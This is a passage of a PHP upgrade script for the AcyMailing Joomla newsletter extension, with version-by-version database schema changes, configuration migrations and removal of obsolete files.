				`ruleid` SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY ,
				`name` VARCHAR( 250 ) NOT NULL ,
				`ordering` SMALLINT UNSIGNED NULL ,
				`regex` VARCHAR( 250 ) NOT NULL ,
				`executed_on` TEXT NOT NULL ,
				`action_message` TEXT NOT NULL ,
				`action_user` TEXT NOT NULL ,
				`published` TINYINT UNSIGNED NOT NULL
				)');
			$this->updateQuery("UPDATE `#__acymailing_mail` SET `body` = CONCAT(`body`,'<p>Subscription : {user:subscription}</p>') WHERE type = 'notification' AND `alias` IN ( 'notification_unsuball','notification_refuse','notification_unsub')");
			$this->updateQuery("REPLACE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('auto_bounce','0')");
		}

		if(version_compare($this->fromVersion, '3.0.1', '<')){
			$this->updateQuery('ALTER TABLE `#__acymailing_mail` ADD `filter` TEXT NULL');

			$this->updateQuery("ALTER TABLE `#__acymailing_subscriber` CHANGE `userid` `userid` INT UNSIGNED NOT NULL DEFAULT '0'");
		}

		if(version_compare($this->fromVersion, '3.5.1', '<')){
			if(file_exists(ACYMAILING_FRONT.'sef_ext.php')) acymailing_deleteFile(ACYMAILING_FRONT.'sef_ext.php');

			$this->updateQuery("ALTER TABLE `#__acymailing_queue` ADD `paramqueue` VARCHAR( 250 ) NULL ");

			if(!ACYMAILING_J16){
				$this->updateQuery("DELETE FROM `#__plugins` WHERE folder = 'acymailing' AND element LIKE 'tagvm%'");
			}else{
				$this->updateQuery("DELETE FROM `#__extensions` WHERE folder = 'acymailing' AND element LIKE 'tagvm%'");
			}
		}

		if(version_compare($this->fromVersion, '3.6.1', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_rules` CHANGE `regex` `regex` TEXT NOT NULL");
			$this->updateQuery("ALTER TABLE `#__acymailing_stats` ADD `bouncedetails` TEXT NULL");
		}

		if(version_compare($this->fromVersion, '3.7.1', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_userstats` ADD `ip` VARCHAR( 100 ) NULL");
			$this->updateQuery("ALTER TABLE `#__acymailing_urlclick` ADD `ip` VARCHAR( 100 ) NULL");
		}

		if(version_compare($this->fromVersion, '3.8.1', '<')){
			$this->updateQuery("UPDATE #__acymailing_mail SET subject = CONCAT(subject,' ','{mainreport}') WHERE type = 'notification' AND alias = 'report' AND subject NOT LIKE '%mainreport%' LIMIT 1");
		}

		if(version_compare($this->fromVersion, '3.8.2', '<')){
			$this->updateQuery("INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('optimize_listsub',0),('optimize_stats',0),('optimize_list',0),('optimize_mail',0),('optimize_userstats',0),('optimize_urlclick',0),('optimize_history',0),('optimize_template',0),('optimize_queue',0),('optimize_subscriber',0) ");
		}

		$file = ACYMAILING_FRONT.'views'.DS.'newsletter'.DS.'metadata.xml';
		if(file_exists($file)) acymailing_deleteFile($file);

		$file = ACYMAILING_BACK.'admin.acymailing.php';
		if(file_exists($file)) acymailing_deleteFile($file);

		if(version_compare($this->fromVersion, '4.0.0', '<')){

			$allModules = acymailing_loadObjectList("SELECT params,id FROM #__modules WHERE module = 'mod_acymailing'");

			foreach($allModules as $oneMod){
				$newParams = preg_replace('#fieldsize=.*#i', 'fieldsize=80%', $oneMod->params);
				$newParams = preg_replace('#"fieldsize":"[^"]*"#i', '"fieldsize":"80%"', $newParams);
				$this->updateQuery("UPDATE #__modules SET params = ".acymailing_escapeDB($newParams)." WHERE id = ".intval($oneMod->id));
			}

			$allFields = acymailing_loadObjectList("SELECT options,fieldid FROM #__acymailing_fields WHERE type IN ('phone','text','date','file') AND options LIKE '%size%'");

			foreach($allFields as $oneField){
				$options = unserialize($oneField->options);
				$options['size'] = intval($options['size'] * 5);
				$this->updateQuery("UPDATE #__acymailing_fields SET options = ".acymailing_escapeDB(serialize($options))." WHERE fieldid = ".intval($oneField->fieldid));
			}
		}

		if(is_dir(ACYMAILING_BACK.'inc'.DS.'openflash')){
			acymailing_deleteFolder(ACYMAILING_BACK.'inc'.DS.'openflash');
		}
		if(is_dir(ACYMAILING_INC.'openflash')){
			acymailing_deleteFolder(ACYMAILING_INC.'openflash');
		}

		if(version_compare($this->fromVersion, '4.2.0', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_template` ADD `thumb` VARCHAR( 250 ) NULL , ADD `readmore` VARCHAR( 250 ) NULL ");

			$allTemplates = acymailing_loadObjectList("SELECT tempid, description FROM #__acymailing_template WHERE `thumb` IS NULL");
			foreach($allTemplates as $oneTemplate){
				if(preg_match('#<img[^>]*src="([^"]*)"[^>]*>#Ui', $oneTemplate->description, $onethumb)){
					$this->updateQuery('UPDATE #__acymailing_template SET `description` = '.acymailing_escapeDB(str_replace($onethumb[0], '', $oneTemplate->description)).', `thumb` = '.acymailing_escapeDB($onethumb[1]).' WHERE tempid = '.$oneTemplate->tempid);
				}
			}

			$this->updateQuery("ALTER TABLE `#__acymailing_subscriber` ADD `confirmed_date` INT UNSIGNED NOT NULL DEFAULT '0', ADD `confirmed_ip` VARCHAR(100) NULL , ADD `lastopen_date` INT UNSIGNED NOT NULL DEFAULT '0', ADD `lastclick_date` INT UNSIGNED NOT NULL DEFAULT '0'");
			$this->updateQuery('UPDATE #__acymailing_subscriber as sub JOIN #__acymailing_history as hist ON sub.subid = hist.subid AND hist.action = "confirmed" SET sub.confirmed_date = hist.date, sub.confirmed_ip = hist.ip WHERE sub.confirmed_date = 0');
			$this->updateQuery('UPDATE #__acymailing_subscriber as sub JOIN #__acymailing_userstats as stats ON sub.subid = stats.subid SET sub.lastopen_date = stats.opendate WHERE sub.lastopen_date = 0');
			$this->updateQuery('UPDATE #__acymailing_subscriber as sub JOIN #__acymailing_urlclick as url ON sub.subid = url.subid SET sub.lastclick_date = url.date WHERE sub.lastclick_date = 0');
			$this->updateQuery('ALTER TABLE `#__acymailing_list` CHANGE `ordering` `ordering` SMALLINT UNSIGNED NULL DEFAULT \'0\'');
			$this->updateQuery('ALTER TABLE `#__acymailing_template` CHANGE `ordering` `ordering` SMALLINT UNSIGNED NULL DEFAULT \'0\'');

			$templateClass = acymailing_get('class.template');
			for($i = 1; $i <= 10; $i++){
				$templateClass->createTemplateFile($i);
			}
		}

		if(version_compare($this->fromVersion, '4.3.0', '<')){
			if(!ACYMAILING_J16){
				$queryReplace = "UPDATE `#__plugins` SET `name` = REPLACE(`name`,'(beta)','') WHERE `element` = 'acyeditor'";
			}else{
				$queryReplace = "UPDATE `#__extensions` SET `name` = REPLACE(`name`,'(beta)','') WHERE `element` = 'acyeditor'";
			}
			$this->updateQuery($queryReplace);

			if(!ACYMAILING_J16){
				$existingEntry = acymailing_loadResult("SELECT `params` FROM #__plugins WHERE `element` = 'urltracker' LIMIT 1");
				$pattern = '#trackingsystem=(.*)#i';
			}else{
				$existingEntry = acymailing_loadResult("SELECT `params` FROM #__extensions WHERE `element` = 'urltracker' LIMIT 1");
				$pattern = '#"trackingsystem":"([^"]*)"#i';
			}
			$trackingMode = 'acymailing';
			if(preg_match($pattern, $existingEntry, $autosubResult)){
				$trackingMode = $autosubResult[1];
			}
			if($trackingMode == 'googleacy') $trackingMode = 'acymailing,google';
			$this->updateQuery("INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('trackingsystem',".acymailing_escapeDB($trackingMode).")");
		}

		if(version_compare($this->fromVersion, '4.3.1', '<')){
			$query = 'CREATE TABLE IF NOT EXISTS `#__acymailing_geolocation` (`geolocation_id` int unsigned NOT NULL AUTO_INCREMENT, `geolocation_subid` int unsigned NOT NULL DEFAULT \'0\',';
			$query .= ' `geolocation_type` varchar(255) NOT NULL DEFAULT \'subscription\', `geolocation_ip` varchar(255) NOT NULL DEFAULT \'\', `geolocation_created` int unsigned NOT NULL DEFAULT \'0\',';
			$query .= ' `geolocation_latitude` decimal(9,6) NOT NULL DEFAULT \'0.000000\', `geolocation_longitude` decimal(9,6) NOT NULL DEFAULT \'0.000000\', `geolocation_postal_code` varchar(255) NOT NULL DEFAULT \'\',';
			$query .= ' `geolocation_country` varchar(255) NOT NULL DEFAULT \'\', `geolocation_country_code` varchar(255) NOT NULL DEFAULT \'\', `geolocation_state` varchar(255) NOT NULL DEFAULT \'\',';
			$query .= ' `geolocation_state_code` varchar(255) NOT NULL DEFAULT \'\', `geolocation_city` varchar(255) NOT NULL DEFAULT \'\',';
			$query .= ' PRIMARY KEY (`geolocation_id`), KEY `geolocation_type` (`geolocation_subid`, `geolocation_type`)) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;';
			$this->updateQuery($query);
		}

		if(version_compare($this->fromVersion, '4.3.3', '<')){
			$this->updateQuery('UPDATE #__acymailing_list SET access_manage = CONCAT(",",access_manage) WHERE access_manage NOT IN ("all","none","")');
		}

		if(version_compare($this->fromVersion, '4.4.2', '<')){
			$this->updateQuery('ALTER TABLE `#__acymailing_fields` ADD `frontlisting` TINYINT( 3 ) UNSIGNED NOT NULL DEFAULT \'0\', ADD `frontjoomlaprofile` TINYINT( 3 ) UNSIGNED NOT NULL DEFAULT \'0\', ADD `frontjoomlaregistration` TINYINT( 3 ) UNSIGNED NOT NULL DEFAULT \'0\', ADD `joomlaprofile` TINYINT( 3 ) UNSIGNED NOT NULL DEFAULT \'0\'');
			$this->updateQuery('UPDATE `#__acymailing_fields` SET `frontlisting`  = `listing`');

			if(!ACYMAILING_J16){
				$existingEntry = acymailing_loadResult("SELECT `params` FROM #__plugins WHERE `element` = 'regacymailing' LIMIT 1");
				$pattern = '#customfields=(.*)#i';
			}else{
				$existingEntry = acymailing_loadResult("SELECT `params` FROM #__extensions WHERE `element` = 'regacymailing' LIMIT 1");
				$pattern = '#"customfields":"([^"]*)"#i';
			}
			if(preg_match($pattern, $existingEntry, $pregResult)){
				$existingEntries = explode(',', $pregResult[1]);
				foreach($existingEntries as $fieldToDisplay){
					$this->updateQuery("UPDATE `#__acymailing_fields` SET frontjoomlaregistration=1 WHERE namekey=".acymailing_escapeDB(trim($fieldToDisplay)));
				}
			}

			$this->updateQuery("ALTER TABLE `#__acymailing_list` ADD `startrule` VARCHAR(50) NOT NULL DEFAULT '0'");

			if(is_dir(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'kcfinder')){
				acymailing_deleteFolder(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'kcfinder');
			}
			if(is_dir(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'kcfinder')){
				acymailing_deleteFolder(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'kcfinder');
			}
			if(is_dir(ACYMAILING_BACK.'extensions'.DS.'plg_editors_acyeditor'.DS.'acyeditor'.DS.'kcfinder')){
				acymailing_deleteFolder(ACYMAILING_BACK.'extensions'.DS.'plg_editors_acyeditor'.DS.'acyeditor'.DS.'kcfinder');
			}
		}

		if(version_compare($this->fromVersion, '4.5.2', '<')){
			$res = acymailing_query("SELECT * FROM #__acymailing_config WHERE namekey='acl_newsletters_manage'");
			if(!empty($res)){
				$this->updateQuery("INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('acl_newsletters_lists', 'all'), ('acl_newsletters_attachments', 'all'), ('acl_newsletters_sender_informations', 'all'), ('acl_newsletters_meta_data','all')");
			}

			$this->updateQuery("ALTER TABLE `#__acymailing_template` ADD `access` VARCHAR( 250 ) NOT NULL DEFAULT 'all'");
			$this->updateQuery("ALTER TABLE `#__acymailing_subscriber` ADD `lastopen_ip` VARCHAR( 100 ) NULL, ADD `lastsent_date` INT UNSIGNED NOT NULL DEFAULT '0'");

			$this->updateQuery("UPDATE #__acymailing_subscriber as sub JOIN #__acymailing_userstats as stats ON sub.subid = stats.subid SET sub.lastopen_ip = stats.ip WHERE stats.ip != ''");

			$this->updateQuery("UPDATE #__acymailing_subscriber as sub JOIN #__acymailing_userstats as stats ON sub.subid = stats.subid SET sub.lastsent_date = stats.senddate");

			$this->updateQuery("ALTER TABLE `#__acymailing_mail` MODIFY `type` ENUM('news','autonews','followup','unsub','welcome','notification','joomlanotification') NOT NULL DEFAULT 'news'");
		}

		if(version_compare($this->fromVersion, '4.6.3', '<')){
			$file = ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor_j30.xml';
			if(file_exists($file)) acymailing_deleteFile($file);

			$file = ACYMAILING_ROOT.'plugins'.DS.'system'.DS.'acymailingclassmail'.DS.'acymailingclassmail_j30.xml';
			if(file_exists($file)) acymailing_deleteFile($file);

			if($config->get('mailer_method') == 'smtp_com'){
				$newConfig = new stdClass();
				$newConfig->mailer_method = 'smtp';
				$newConfig->smtp_host = 'retail.smtp.com';
				$newConfig->smtp_port = '2525';
				$newConfig->smtp_username = $config->get('smtp_com_username');
				$newConfig->smtp_password = $config->get('smtp_com_password');
				$newConfig->smtp_auth = 1;
				$newConfig->smtp_keepalive = 1;
				$newConfig->smtp_secured = '';
				$config->save($newConfig);
			}

			$this->updateQuery("ALTER TABLE `#__acymailing_userstats` ADD `browser` VARCHAR( 255 ) DEFAULT NULL, ADD `browser_version` TINYINT UNSIGNED DEFAULT NULL, ADD `is_mobile` TINYINT UNSIGNED DEFAULT NULL, ADD `mobile_os` VARCHAR( 255 ) DEFAULT NULL, ADD `user_agent` VARCHAR( 255 ) DEFAULT NULL");

			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `language` VARCHAR( 50 ) NOT NULL DEFAULT ''");
		}

		if(version_compare($this->fromVersion, '4.7.3', '<')){
			try{
				$res = acymailing_query("SELECT * FROM #__acymailing_config WHERE namekey='acl_newsletters_manage'");
				if(!empty($res)){
					$this->updateQuery("INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('acl_newsletters_abtesting', 'all')");
				}
			}catch(Exception $e){
				$res = null;
			}
			if($res === null) acymailing_enqueueMessage(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');

			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `abtesting` VARCHAR( 250 ) DEFAULT NULL");

			$this->updateQuery("ALTER TABLE `#__acymailing_subscriber` ADD `source` VARCHAR( 250 ) NOT NULL DEFAULT ''");
		}

		if(version_compare($this->fromVersion, '4.8.2', '<')){
			$tagsFile = JPATH_SITE.DS.'plugins'.DS.'acymailing'.DS.'tagcontent'.DS.'tagcontenttags.xml';
			if(file_exists($tagsFile)) acymailing_deleteFile($tagsFile);

			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `thumb` VARCHAR( 250 ) DEFAULT NULL");
			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `summary` TEXT NOT NULL");
			$this->updateQuery("ALTER TABLE `#__acymailing_template` ADD `category` VARCHAR( 250 ) NOT NULL DEFAULT ''");
			$this->updateQuery("ALTER TABLE `#__acymailing_list` ADD `category` VARCHAR( 250 ) NOT NULL DEFAULT ''");
			$this->updateQuery("ALTER TABLE `#__acymailing_fields` ADD `access` VARCHAR( 250 ) NOT NULL DEFAULT 'all'");
			$this->updateQuery("ALTER TABLE `#__acymailing_fields` ADD `fieldcat` INT( 11 ) NOT NULL DEFAULT '0'");

			$this->updateQuery("UPDATE `#__acymailing_template` SET body = REPLACE(body,'<tbody>','<tbody class=\"acyeditor_sortable\">') WHERE body LIKE '%acyeditor_%' ");
		}

		if(version_compare($this->fromVersion, '4.9.1', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_geolocation` ADD KEY `geolocation_ip_created` (`geolocation_ip`, `geolocation_created`)");
		}

		if(version_compare($this->fromVersion, '4.9.3', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_userstats` ADD `bouncerule` VARCHAR( 255 ) NULL");
			$this->updateQuery("ALTER TABLE `#__acymailing_fields` ADD `listingfilter` TINYINT NULL DEFAULT NULL ");
			$this->updateQuery("ALTER TABLE `#__acymailing_fields` ADD `frontlistingfilter` TINYINT NULL DEFAULT NULL ");
		}

		if(version_compare($this->fromVersion, '4.9.4', '<')){
			$this->updateQuery("UPDATE #__acymailing_mail SET body = REPLACE(REPLACE(body, 'newsletter-4/top.png', 'newsletter-4/images/top.png'), 'newsletter-4/bottom.png', 'newsletter-4/images/bottom.png')");
		}

		if(version_compare($this->fromVersion, '5.0.0', '<')){
			$mails = acymailing_loadObjectList('SELECT mailid, attach FROM #__acymailing_mail WHERE attach IS NOT NULL');
			if(!empty($mails)){
				$query = 'INSERT INTO #__acymailing_mail (`mailid`,`attach`) VALUES ';
				$folderPath = acymailing_getFilesFolder();
				foreach($mails as $oneMail){
					$attachments = unserialize($oneMail->attach);
					foreach($attachments as &$oneAttach){
						if(strpos($oneAttach->filename, $folderPath) === false) $oneAttach->filename = $folderPath.'/'.$oneAttach->filename;
					}
					$query .= '('.$oneMail->mailid.','.acymailing_escapeDB(serialize($attachments)).'),';
				}
				$query = rtrim($query, ',');
				$query .= ' ON DUPLICATE KEY UPDATE `attach` = VALUES(`attach`)';
				$this->updateQuery($query);
			}
			$newConfig = new stdClass();
			$newConfig->css_backend = '';
			$config->save($newConfig);
		}

		if(version_compare($this->fromVersion, '5.0.1', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_fields` ADD `frontform` TINYINT NULL DEFAULT 1");
			$this->updateQuery("UPDATE `#__acymailing_fields` SET frontform = backend");
		}

		if(version_compare($this->fromVersion, '5.1.0', '<')){
			$this->updateQuery("CREATE TABLE IF NOT EXISTS `#__acymailing_action` (`action_id` int unsigned NOT NULL AUTO_INCREMENT,`name` varchar(255) DEFAULT NULL,`description` text,`frequency` int unsigned NOT NULL,
	`nextdate` int unsigned NOT NULL,`server` varchar(255) NOT NULL,`port` varchar(50) NOT NULL,`connection_method` varchar(10) NOT NULL DEFAULT '0',`secure_method` varchar(10) NOT NULL DEFAULT '0',
	`self_signed` tinyint NOT NULL DEFAULT '0',`username` varchar(255) NOT NULL,`password` varchar(50) NOT NULL,`userid` int unsigned DEFAULT NULL,`conditions` text,`actions` text,`report` text,
	`published` tinyint NOT NULL DEFAULT '0',`ordering` smallint unsigned NULL DEFAULT '0',PRIMARY KEY (`action_id`)) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;");

			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `favicon` text");
		}

		if(version_compare($this->fromVersion, '5.2.0', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_mail` MODIFY `type` ENUM('news','autonews','followup','unsub','welcome','notification','joomlanotification','action') NOT NULL DEFAULT 'news'");

			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `bccaddresses` varchar(250) DEFAULT NULL");
			$managetext = acymailing_getPlugin('acymailing', 'managetext');
			$managetextParams = new acyParameter($managetext->params);

			$possibleVars = array('', 2, 3);
			foreach($possibleVars as $oneSuffix){
				$bcc = $managetextParams->get('bccaddresses'.$oneSuffix);
				$mailids = trim(str_replace(array(',', ' '), ';', $managetextParams->get('bccmailids'.$oneSuffix)));
				if(empty($mailids) || empty($bcc)) continue;

				$emails = explode(';', $mailids);
				acymailing_arrayToInteger($emails);

				$this->updateQuery('UPDATE `#__acymailing_mail` SET bccaddresses = '.acymailing_escapeDB($bcc).' WHERE mailid IN ('.implode(',', $emails).')');
			}

			$this->updateQuery('UPDATE `#__acymailing_rules` SET name = (CASE name WHEN "Action Required" THEN "ACY_RULE_ACTION"
																					 WHEN "Acknowledgement of receipt - in subject" THEN "ACY_RULE_ACKNOWLEDGE"
																					 WHEN "Feedback loop" THEN "ACY_RULE_LOOP"
																					 WHEN "Feedback loop - in body" THEN "ACY_RULE_LOOP_BODY"
																					 WHEN "Mailbox Full" THEN "ACY_RULE_FULL"
																					 WHEN "Blocked by Google Groups" THEN "ACY_RULE_GOOGLE"
																					 WHEN "Mailbox does not exist 1" THEN "ACY_RULE_EXIST1"
																					 WHEN "Message blocked by recipient filters" THEN "ACY_RULE_FILTERED"
																					 WHEN "Mailbox does not exist 2" THEN "ACY_RULE_EXIST2"
																					 WHEN "Domain does not exist" THEN "ACY_RULE_DOMAIN"
																					 WHEN "Temporary failures" THEN "ACY_RULE_TEMPORAR"
																					 WHEN "Failed Permanently" THEN "ACY_RULE_PERMANENT"
																					 WHEN "Acknowledgement of receipt - in body" THEN "ACY_RULE_ACKNOWLEDGE_BODY"
																					 WHEN "Final Rule" THEN "ACY_RULE_FINAL"
																					 ELSE name
																					 END)');

			$this->updateQuery("ALTER TABLE #__acymailing_geolocation ADD `geolocation_continent` varchar(255) NOT NULL DEFAULT '', ADD `geolocation_timezone` varchar(255) NOT NULL DEFAULT ''");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'Asia' WHERE geolocation_country_code IN ('AF', 'AM', 'AZ', 'BH', 'BD', 'BT', 'BN', 'IO', 'KH', 'CN', 'CX', 'CC', 'CY', 'GE', 'HK', 'IN', 'ID', 'IR', 'IQ', 'IL', 'JP', 'JO', 'KZ', 'KP', 'KR', 'KW', 'KG', 'LA', 'LB', 'MO', 'MY', 'MV', 'MN', 'MM', 'NP', 'OM', 'PK', 'PS', 'PH', 'QA', 'SA', 'SG', 'LK', 'SY', 'TW', 'TJ', 'TH', 'TL', 'TR', 'TM', 'AE', 'UZ', 'VN', 'YE')");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'Africa' WHERE geolocation_country_code IN ('AO', 'BJ', 'DZ', 'BW', 'BF', 'BI', 'CM', 'CV', 'CF', 'TD', 'KM', 'CD', 'CG', 'CI', 'DJ', 'EG', 'GQ', 'ER', 'ET', 'GA', 'GM', 'GH', 'GN', 'GW', 'KE', 'LS', 'LR', 'LY', 'MG', 'MW', 'ML', 'MR', 'MU', 'YT', 'MA', 'MZ', 'NA', 'NE', 'NG', 'RE', 'RW', 'SH', 'ST', 'SN', 'SC', 'SL', 'SO', 'ZA', 'SD', 'SZ', 'TZ', 'TG', 'TN', 'UG', 'EH', 'ZM', 'ZW')");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'Europe' WHERE geolocation_country_code IN ('AX', 'AL', 'AT', 'AD', 'BY', 'BE', 'BA', 'BG', 'HR', 'CZ', 'DK', 'EE', 'FO', 'FI', 'FR', 'DE', 'GI', 'GR', 'GG', 'VA', 'HU', 'IS', 'IE', 'IM', 'IT', 'JE', 'LV', 'LI', 'LT', 'LU', 'MK', 'MT', 'MD', 'MC', 'ME', 'NL', 'NO', 'PL', 'PT', 'RO', 'RU', 'SM', 'RS', 'SK', 'SI', 'ES', 'SJ', 'SE', 'CH', 'UA', 'GB')");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'Oceania' WHERE geolocation_country_code IN ('AS', 'AU', 'CK', 'FJ', 'PF', 'GU', 'KI', 'MH', 'FM', 'NR', 'NC', 'NZ', 'NU', 'NF', 'MP', 'PW', 'PG', 'PN', 'WS', 'SB', 'TK', 'TO', 'TV', 'UM', 'VU', 'WF')");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'North America' WHERE geolocation_country_code IN ('AI', 'AG', 'AW', 'BS', 'BB', 'BZ', 'BM', 'VG', 'CA', 'KY', 'CR', 'CU', 'DM', 'DO', 'SV', 'GL', 'GD', 'GP', 'GT', 'HT', 'HN', 'JM', 'MQ', 'MX', 'MS', 'AN', 'NI', 'PA', 'PR', 'BL', 'KN', 'LC', 'MF', 'PM', 'VC', 'TT', 'TC', 'US', 'VI')");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'South America' WHERE geolocation_country_code IN ('AR', 'BO', 'BR', 'CL', 'CO', 'EC', 'FK', 'GF', 'GY', 'PY', 'PE', 'SR', 'UY', 'VE')");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'Antartica' WHERE geolocation_country_code IN ('AQ', 'BV', 'TF', 'HM', 'GS')");

			if($config->get('captcha_enabled') == 1){
				$this->updateQuery('INSERT INTO `#__acymailing_config` (namekey, value) VALUES ("captcha_plugin", "acycaptcha") ON DUPLICATE KEY UPDATE value="acycaptcha"');
			}else{
				$this->updateQuery('INSERT INTO `#__acymailing_config` (namekey, value) VALUES ("captcha_plugin", "no") ON DUPLICATE KEY UPDATE value="no"');
			}
			try{
				$res = acymailing_loadObjectList('SELECT tempid, stylesheet FROM #__acymailing_template', 'tempid');
				foreach($res as $oneTmpl){
					$changedStyle = preg_replace('/(table *(,[^{}]*)?)({[^}]*font-family)/', '$1, td$3', $oneTmpl->stylesheet);
					$this->updatequery('UPDATE #__acymailing_template SET stylesheet = '.acymailing_escapeDB($changedStyle).' WHERE tempid = '.$oneTmpl->tempid);
				}
			}catch(Exception $e){
				$res = null;
			}
			if($res === null) acymailing_enqueueMessage(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
		}

		if(version_compare($this->fromVersion, '5.5.0', '<')){
			$this->updateQuery("ALTER TABLE #__acymailing_action ADD `delete_wrong_emails` tinyint NOT NULL DEFAULT 0");
			$this->updateQuery("ALTER TABLE #__acymailing_action ADD `senderfrom` tinyint NOT NULL DEFAULT 0");
			$this->updateQuery("ALTER TABLE #__acymailing_action ADD `senderto` tinyint NOT NULL DEFAULT 0");
		}

		if(version_compare($this->fromVersion, '5.6.0', '<')){
			$this->updateQuery("CREATE TABLE IF NOT EXISTS `#__acymailing_forward` (`subid` int unsigned NOT NULL,`mailid` mediumint unsigned NOT NULL, `date` int unsigned NOT NULL,
			`ip` varchar(50) DEFAULT NULL, `nbforwarded` int unsigned NOT NULL, PRIMARY KEY (`subid`,`mailid`)) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;");

			$this->updateQuery("CREATE TABLE IF NOT EXISTS `#__acymailing_tag` (`tagid` smallint unsigned NOT NULL AUTO_INCREMENT, `name` varchar(250) NOT NULL,
			`userid` int unsigned DEFAULT NULL,PRIMARY KEY (`tagid`),KEY `useridindex` (`userid`)) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;");

			$this->updateQuery("CREATE TABLE IF NOT EXISTS `#__acymailing_tagmail` (`tagid` smallint unsigned NOT NULL,	`mailid` mediumint unsigned NOT NULL,
			PRIMARY KEY (`tagid`,`mailid`)) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;");
		}

		if(version_compare($this->fromVersion, '5.6.5', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_mail` MODIFY subject text");
		}

		if(version_compare($this->fromVersion, '5.7.1', '<')){
			$daycron = $config->get('cron_plugins_next', 0);

			$this->updateQuery("ALTER TABLE `#__acymailing_filter` ADD `daycron` int unsigned");
			acymailing_query('UPDATE #__acymailing_filter SET `daycron` = '.intval($daycron).' WHERE `trigger` LIKE "%daycron%"');
		}

		if(version_compare($this->fromVersion, '5.8.0', '<')){
			$this->updateQuery("ALTER TABLE #__acymailing_mail ADD `lastupdate` int unsigned DEFAULT NULL");
			$this->updateQuery("ALTER TABLE #__acymailing_mail ADD `userlastupdate` int unsigned DEFAULT NULL");
		}

		if(version_compare($this->fromVersion, '5.9.0', '<')){
			$this->updateQuery("ALTER TABLE #__acymailing_fields MODIFY `default` TEXT DEFAULT NULL");
			$this->updateQuery("ALTER TABLE #__acymailing_subscriber ADD `filterflags` varchar(50) NOT NULL DEFAULT ''");
			if(substr($config->get('cron_savepath'), 0, 32) == 'media/com_acymailing/logs/report'){
				$this->updateQuery("UPDATE #__acymailing_config SET `value` = 'media/com_acymailing/logs/report{year}_{month}.log' WHERE namekey = 'cron_savepath'");
			}

			$allFilters = acymailing_loadObjectList('SELECT filid, action, filter FROM '.acymailing_table('filter'));
			if(!empty($allFilters)){
				foreach($allFilters as $oneFilter){
					$oneFilter->action = unserialize($oneFilter->action);
					if(!empty($oneFilter->action['type'])) $oneFilter->action['type'] = array($oneFilter->action['type']);

					$oneFilter->filter = unserialize($oneFilter->filter);
					if(!empty($oneFilter->filter['type'])) $oneFilter->filter['type'] = array($oneFilter->filter['type']);

					$this->updateQuery('UPDATE '.acymailing_table('filter').' SET action = '.acymailing_escapeDB(serialize($oneFilter->action)).', filter = '.acymailing_escapeDB(serialize($oneFilter->filter)).' WHERE filid = '.intval($oneFilter->filid));
				}
			}

			$mailFilters = acymailing_loadObjectList('SELECT mailid, filter FROM '.acymailing_table('mail').' WHERE filter LIKE "%type%"');
			if(!empty($mailFilters)){
				foreach($mailFilters as $oneMail){
					$oneMail->filter = unserialize($oneMail->filter);
					if(!empty($oneMail->filter['type'])) $oneMail->filter['type'] = array($oneMail->filter['type']);
					$this->updateQuery('UPDATE '.acymailing_table('mail').' SET filter = '.acymailing_escapeDB(serialize($oneMail->filter)).' WHERE mailid = '.intval($oneMail->mailid));
				}
			}
			$this->updateQuery("ALTER TABLE #__acymailing_template ADD `header` longtext");
			$this->updateQuery("ALTER TABLE #__acymailing_mail MODIFY `type` enum('news','autonews','followup','unsub','welcome','notification','joomlanotification','action', 'article') NOT NULL DEFAULT 'news'");

			if(!ACYMAILING_J16){
				$this->updateQuery("UPDATE #__plugins SET `ordering` = 0 WHERE `element` = 'plginboxactions' AND `folder` = 'acymailing'");
			}else{
				$this->updateQuery("UPDATE #__extensions SET `ordering` = 0 WHERE `element` = 'plginboxactions' AND `folder` = 'acymailing'");
			}
		}

		if(version_compare($this->fromVersion, '5.9.4', '<')){
			if(!ACYMAILING_J16){
				$this->updateQuery("UPDATE #__plugins SET `ordering` = 24 WHERE `element` = 'urltracker' AND `folder` = 'acymailing'");
